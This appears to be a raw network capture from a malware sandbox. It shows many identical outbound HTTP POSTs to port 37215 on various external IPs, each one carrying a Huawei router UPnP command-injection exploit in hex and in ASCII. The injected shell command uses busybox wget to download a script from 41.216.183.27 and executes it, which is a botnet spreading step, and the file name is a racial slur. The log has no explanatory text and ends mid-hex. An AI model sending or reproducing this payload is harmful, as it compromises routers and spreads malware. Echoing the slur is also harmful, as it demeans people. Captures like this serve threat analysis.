2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.15	43724	45.127.163.157	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.734030008 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.15	34174	45.33.250.110	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.734164953 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.15	49420	45.172.112.143	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.792669058 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.15	53148	45.195.120.18	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:29.049079895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.659054995 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:32.578968048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:36.514795065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.194547892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:59.554163933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 